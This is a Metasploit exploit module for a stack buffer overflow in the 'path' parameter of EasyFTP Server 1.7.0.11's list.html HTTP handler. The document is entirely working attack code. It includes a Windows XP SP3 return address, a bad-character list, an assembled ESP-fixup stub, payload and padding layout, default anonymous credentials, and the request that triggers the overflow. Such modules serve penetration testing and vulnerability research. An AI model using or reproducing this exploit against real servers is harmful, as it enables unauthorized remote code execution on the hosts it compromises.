EasyFTP Server 1.7.0.11 – list.html path Stack Buffer Overflow (Metasploit)
## # $Id: easyftp_list.rb 10024 2010-08-17 01:35:03Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing the 'path' parameter supplied to an HTTP GET request, which leads to a stack based buffer overflow. EasyFTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. After version 1.7.0.12, this package was renamed "UplusFtp". Due to limited space, as well as difficulties using an egghunter, the use of staged, ORD, and/or shell payloads is recommended. }, 'Author' => [ 'ThE g0bL!N', # Original exploit [see References] 'jduck' # Metasploit re-implementation ], 'Version' => '$Revision: 10024 $', 'References' => [ [ 'OSVDB', '66614'], [ 'URL', 'http://www.exploit-db.com/exploits/11500/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Privileged' => true, 'Payload' => { 'Space' => 256, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c", 'Compat' => { 'ConnectionType' => '+ws2ord', }, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 - Easy FTP Server Universal', # NOTE: It's not possible to use addresses within the # binary due to the nul byte. { 'Ret' => 0x7cc5d507 # jmp esp in shell32.dll #'Ret' => 0xdeadbeef } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 18 2010' )) register_options( [ Opt::RPORT(8080), OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), ], self.class) end def check info = http_fingerprint # check method if info and (info =~ /Easy-Web Server\//) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit if (payload.encoded.length > payload_space) raise RuntimeError, "Insufficient space for payload, try using a staged, ORD and/or shell payload." end # Fix up ESP, jmp to the beginning of the buffer stub_asm = %q{ mov edi, esp add esp, 0xfffffc04 add edi, 0xfffffee8 jmp edi } stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string # Build the path up path = '' path << payload.encoded path << rand_text(268 - path.length) # NOTE: It's possible to overwrite SEH, however SafeSEH is in effect. path << [target.ret].pack('V') path << rand_text(280 - path.length) path << stub path << rand_text(332 - path.length) uri = "/list.html?path=" uri << path print_status("Trying target #{target.name}...") res = send_request_raw({ 'uri' => uri }, 5) if (res) print_error("The server unexpectedly responded, this is not good.") print_status(res.inspect) end handler end end |